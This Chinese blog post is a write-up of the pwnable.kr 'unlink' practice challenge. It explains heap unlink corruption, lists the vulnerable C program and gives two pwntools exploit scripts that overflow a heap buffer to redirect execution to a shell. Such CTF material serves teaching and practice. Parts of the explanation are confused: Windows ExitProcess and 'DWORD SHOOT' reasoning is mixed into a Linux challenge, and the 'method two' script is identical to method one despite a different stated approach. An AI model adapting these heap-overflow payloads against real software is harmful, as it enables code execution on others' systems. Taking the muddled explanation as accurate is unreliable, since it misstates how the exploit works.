Pwnable之[Toddler's Bottle](三)--unlink

提示:how can I exploit unlink corruption
我该怎么利用断腐败???
其实就是如何利用chunk的删除链。

这题卡了挺久,主要是对堆的结构有些迷惑,查了很多资料和画图分析才慢慢领悟。

前置知识

  1. 为了节约内存,被使用之后的chunk和未使用的chunk的内存布局不相同,但是都用了相同的大小,于是free chunk具有更多的数据。
  2. glibc的堆空间控制是用链表处理的,其中除了fastbin(bin可以认为是链表的头结点指针,用来标志不同的链表),都使用了双向链表的结构,即使用fd和bk指针指向前者和后者,这恰巧是free
    chunk才有的额外数据。
  3. 在分配或是合并的时候需要删除链表中的一个结点,学过数据结构应该很清楚其操作,大概是P->fd->bk = P->bk; P->bk->fd = P->fd;,而在做这个操作之前会有一个简单的检查,即查看P->fd->bk == P && P->bk->fd= ==P,
    但是这个检查有个致命的弱点,就是因为他查找fd和bk都是通过相对位置去查找的,那么虽然P->fd和P->bk都不合法,但是P->fd->bk和P->bk->fd合法就可以通过这个检测,而在删除结点的时候就会造成不同的效果了

  4. 当我们free(Q)时,glibc 判断这个块是 small chunk。 判断前向合并,发现前一个 chunk处于使用状态,不需要前向合并。 判断后向合并,发现后一个 chunk 处于空闲状态,需要合并。 继而对 nextchunk 采取
    unlink 操作。

分析程序

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;

void shell(){
    system("/bin/sh");
}

void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));

    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;

    printf("here is stack address leak: %p\n", &A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);

    // exploit this unlink!
    unlink(B);
    return 0;
}

流程分析

创建ABC三个结构体的chunk,然后建立双向链接。

// double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;

bk指向表示前一个chunk的首地址heap,fd指向后一个chunk的heap。

程序开始后分别输出A的heap地址和stack地址。heap=A,stack=&A,heap=*stack,heap是保存A指针指向的位置,里面是数据;stack是保存指针的地址。然后调用unlink(B)删除B的链接并且改变AC的后指针fd和C的前指针bk。B-bk=A->fd=C,B->fd=C->bk=A。然后程序结束。

利用思路

这里用常用的栈方方法会提示栈错误,这是堆溢出的一个经典应用。

问题出现在unlink(B)
void unlink(OBJ* B){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
正常情况:BK=B-bk=B+8=A.heap , FD=B->fd=B+4=C.heap。

方法一:

FD->bk=BK;

如果把FD的地址溢出覆盖了,看图在[eax+4],edx处就会发生段错误,触发DWORD SHOOT。
这里写图片描述
(前面不知道为什么编辑相应慢,就用小号的图)
如果FD=B->fd变成我们相要的shellcode地址,这个地址指向的位置不可能有->bk,堆溢出导致异常,最终导致调用ExitProcess 结束进程。
ExitProcess 在结束进程时需要调用 临界区函数来同步线程,但如果从 ebp 中拿出了指向shellcode的指针,那shellcode就会被执行。

所以利用方法是这样的:

首先我们知道sizeof(OBJ)=16,加上chunk的头部Prev_size等4字节,
由上一篇memcpy可以知道一个chunk的大小是8*(16/8+1)=24字节。
那么A-buf=12,buf位置为shell的话就有shell=A.heap+8,填充到b->bf的话,加上A的chunk剩下的4+B.heap+4=A->buf+12。
这里写图片描述
对chunk结构又不了解的可以看这个:chunk结构

也就是payload=shell_addr+A*12+(A.heap+8)

这里成功的把在B->fd的位置覆盖了shell的内存地址,*(shell)=A->buf=shell函数的位置,就会调用shell函数。

那么再进行下一步,修改esp。

在程序的最后,
这里写图片描述

发现esp的地址和值都为[ecx-4],leave是常用的回调ret,意为 mov esp,ebp ; pop ebp ;对ecx没有影响
又有
ecx又=[ebp+var_4]=[ebp-4]。所以,esp=ebp-8

这里写图片描述

从上图出错的位置我们知道[ebp-8]为FD=B->fd=B+4,
BK=[ebp-4]为B->bk=B+8,

所以将B->bk的地址覆盖为shell的指针地址也就是B->fd的话,执行esp就是指向shell。

现在就是要知道shell指针在栈中的位置,
而我们知道B的栈位置在var_C=ebp-12,
这里写图片描述
所以B->bk=B+8=ebp-4=var_4=(A.stack+0x10)
这样子就直接调用了esp,也就是*shell的位置。

所以,payload=shell_addr+A*12+(A.heap+8)+(A.stack+0x10)

总结

当BK = EBP-4时,FD + 4 = shell +4 ,FD = shell,
覆写时,[shell+4] = EBP-4

exp:

from pwn import *
#context(log_level="debug")

shell_addr = 0x080484eb

s =  ssh(host='pwnable.kr',
         port=2222,
         user='unlink',
         password='guest'
        )
p =s.process("./unlink")
#elf=elf('./unlink')
p.recvuntil("here is stack address leak: ")
stack_addr=p.recv(10)
stack_addr=int(stack_addr,16)
print "stack_addr is ",hex(stack_addr)

p.recvuntil("here is heap address leak: ")
heap_addr=p.recv(9)
heap_addr=int(heap_addr,16)
print "heap_addr is ",hex(heap_addr)

payload=p32(shell_addr)+'a'*12
payload+=p32(heap_addr+12)
payload+=p32(stack_addr+0x10)

#payload += p32(stack_addr + 12)
#payload += p32(heap_addr + 12 )

p.send(payload)
p.interactive()

这里写图片描述

方法二:
当BK= shell+4 时,FD + 4 = EBP-4,FD=EBP-8 ,
覆写时,[shell + 4 ] = EBP-8

exp:

from pwn import *
#context(log_level="debug")

shell_addr = 0x080484eb

s =  ssh(host='pwnable.kr',
         port=2222,
         user='unlink',
         password='guest'
        )
p =s.process("./unlink")
#elf=elf('./unlink')
p.recvuntil("here is stack address leak: ")
stack_addr=p.recv(10)
stack_addr=int(stack_addr,16)
print "stack_addr is ",hex(stack_addr)

p.recvuntil("here is heap address leak: ")
heap_addr=p.recv(9)
heap_addr=int(heap_addr,16)
print "heap_addr is ",hex(heap_addr)

payload=p32(shell_addr)+'a'*12
payload+=p32(heap_addr+12)
payload+=p32(stack_addr+0x10)

#payload += p32(stack_addr + 12)
#payload += p32(heap_addr + 12 )

p.send(payload)
p.interactive()

参考文章:

http://www.cnblogs.com/p4nda/p/7172104.html
https://blog.csdn.net/zcc1414/article/details/10478273
https://blog.csdn.net/qq_33528164/article/details/77061932
https://ctf-wiki.github.io/ctf-wiki/pwn/heap/unlink/
https://blog.csdn.net/nibiru_holmes/article/details/60880434
http://wooyun.jozxing.cc/static/drops/tips-7326.html
https://www.cnblogs.com/taonull/p/3930054.html

我是按个人理解和调试还有资料总结的,可能有不正确的地方,欢迎探讨。。

至此Pwnable的幼儿已经结束了,刷的好慢。。。。
哎,这条路很长很有意思,慢慢走,不急。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值